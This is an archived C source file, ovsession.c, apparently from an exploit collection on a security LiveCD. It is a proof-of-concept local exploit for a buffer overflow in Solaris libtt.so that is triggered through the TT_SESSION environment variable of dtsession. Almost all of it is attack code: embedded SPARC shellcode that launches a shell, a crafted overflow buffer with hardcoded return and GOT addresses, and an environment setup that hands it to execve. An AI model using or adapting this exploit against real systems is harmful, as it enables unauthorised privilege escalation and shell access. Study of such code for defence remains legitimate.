home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / ovsession.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  151 lines

  1. /*
  2.  * ovsession.c
  3.  * Job de Haas  (Solaris 7, 2.6, 2.5.1)
  4.  * (C) ITSX BV 1999
  5.  *
  6.  * Some proof of concept code (== really ugly, barely working) at exploiting
  7.  * an overflow in libtt.so when parsing the TT_SESSION string.
  8.  * Only tested on a Solaris 2.6 sun4c sparc, with and without patch 105802-07
  9.  * based loosly on code by horizon <jmcdonal@unf.edu>
  10.  * Somehow the overflow is very sensitive to caching of the stack. To see that
  11.  * it really does work, run it in a debugger and set a break point in tt_open()
  12.  * when that is reached, set a breakpoint in sscanf and continue. When that is
  13.  * reached continue again and it will either crash or execute a shell.
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <sys/types.h>
  19. #include <sys/systeminfo.h>
  20. #include <unistd.h>
  21. #include <string.h>
  22.  
  23. #define BUF_LEN 280
  24.  
  25. char exploit[] =
  26.   "\220\33\100\15\202\20\40\27\221\323\100\15\220\33\100\17\
  27.   \220\2\40\10\320\43\277\370\224\2\40\11\332\52\277\377\
  28.   \332\43\277\374\220\33\140\1\202\20\40\6\221\323\100\15\
  29.   \220\33\100\15\202\20\40\51\221\323\100\15\320\3\277\370\
  30.   \222\43\240\10\224\43\240\4\202\20\40\73\221\323\100\15\
  31.   \232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
  32.   \232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
  33.   \177\377\377\344\232\33\100\15\57\142\151\156\57\153\163\150QQQ";
  34.  
  35. #if patched
  36. #define got    0xef6d2be0
  37. #else
  38. #define got    0xef6d2f84
  39. #endif
  40.  
  41. main()
  42. {
  43.   char *argp[6], *envp[20];
  44.   char buf[3072];
  45.   char *ttsess;
  46.   char *display;
  47.   u_long *longp;
  48.   char data[512];
  49.   char padding[64];
  50.   char platform[256];
  51.   int pad=31;
  52.   int i;
  53.  
  54.   memset(buf,0,3072);
  55.   memset(buf,'a',BUF_LEN);
  56.  
  57.   longp = (unsigned long *)(buf+BUF_LEN);
  58.  
  59.   /* %l0 - %l7 */
  60.   *longp++ = 0xdeadcafe;
  61.   *longp++ = 0xdeadcafe;
  62.   *longp++ = 0xdeadcafe;
  63.   *longp++ = 0xdeadcafe;
  64.   *longp++ = 0xdeadcafe;
  65.   *longp++ = 0xdeadcafe;
  66.   *longp++ = 0xdeadcafe;
  67.   *longp++ = 0xdeadcafe;
  68.  
  69.   /* %i0 - %i7 */
  70.   *longp++ = 0xdeadcafe;
  71.   *longp++ = 0xefffff94;    /* make sure %i1 can be used */
  72.   *longp++ = 0xdeadcafe;
  73.   *longp++ = got;        /* also used before we get to the exploit */
  74.   *longp++ = 0xdeadcafe;
  75.   *longp++ = 0xdeadcafe;
  76.   *longp++ = 0xefffffb0;    /* frame with some necessary values */
  77.   *longp++ = 0xeffffdd0;    /* return into the exploit code */
  78.  
  79.  
  80.   longp=(unsigned long *)data;
  81.  
  82.   *longp++=0xdeadbeef;
  83.   *longp++=0xdeadbeef;
  84.   *longp++=0xdeadbeef;
  85.   *longp++=0xdeadbeef;
  86.   *longp++=0xdeadbeef;
  87.   *longp++=0xffffffff;
  88.   *longp++=0xdeadbeef;
  89.   *longp++=0;
  90.   *longp++=0xefffffb4;
  91.   *longp++=0x01;
  92.   *longp++=0xef6dc154;
  93.   *longp++=0xeffffd26;
  94.   *longp++=0x00;
  95.  
  96.   argp[0] = strdup("/usr/dt/bin/dtsession");
  97.   argp[1] = NULL;
  98.  
  99.   if (!getenv("DISPLAY"))
  100.     {
  101.       printf("forgot to set DISPLAY\n");
  102.       exit(1);
  103.     }
  104.  
  105.   sysinfo(SI_PLATFORM,platform,256);
  106.   pad+=20-strlen(platform)-strlen(argp[0]);
  107.  
  108.   for (i=0;i<pad;padding[i++]='C')
  109.     padding[i]=0;
  110.  
  111.   /* create an enviroment size independent of the size of $DISPLAY */
  112.   display = malloc( 8 + strlen(getenv("DISPLAY")) + 1);
  113.   strcpy(display,"DISPLAY=");
  114.   strcat(display+8,getenv("DISPLAY"));
  115.   envp[0] = display;
  116.   envp[1] = malloc(60);
  117.   memset(envp[1], 0, 60);
  118.   memset(envp[1], 'a', 60 - strlen(envp[0]));
  119.   strncpy(envp[1],"W=",2);
  120.  
  121.   /* put the exploit code in the env space (easy to locate) */
  122.   envp[2] = strdup(exploit);
  123.  
  124.   /* create the overflow string */
  125.   ttsess = strdup("TT_SESSION=01 18176 1289637086 1 0 1000 %s 4");
  126.   envp[3] = malloc( strlen(ttsess) + strlen(buf));
  127.   sprintf(envp[3],ttsess,buf);
  128.  
  129.   /* make it easier to debug, probably smarter ways to do this */
  130.   envp[4] = strdup("LD_BIND_NOW=1   ");
  131.  
  132.   /* put some data in the environment to keep the code running after the
  133.      overflow, but before the return pointer is used. includes NULL ptrs */
  134.   envp[5]=(data);
  135.   envp[6]="";
  136.   envp[7]="";
  137.   envp[8]="";
  138.   envp[9]=&(data[32]);
  139.   envp[10]="";
  140.   envp[11]="";
  141.   envp[12]=&(data[39]);
  142.   envp[13]="";
  143.   envp[14]="";
  144.   envp[15]="\010";
  145.   envp[16]=padding;
  146.   envp[17]=NULL;
  147.  
  148.   execve("/usr/dt/bin/dtsession",argp,envp);
  149.  
  150. }
  151. /*                    www.hack.co.za              [2000]*/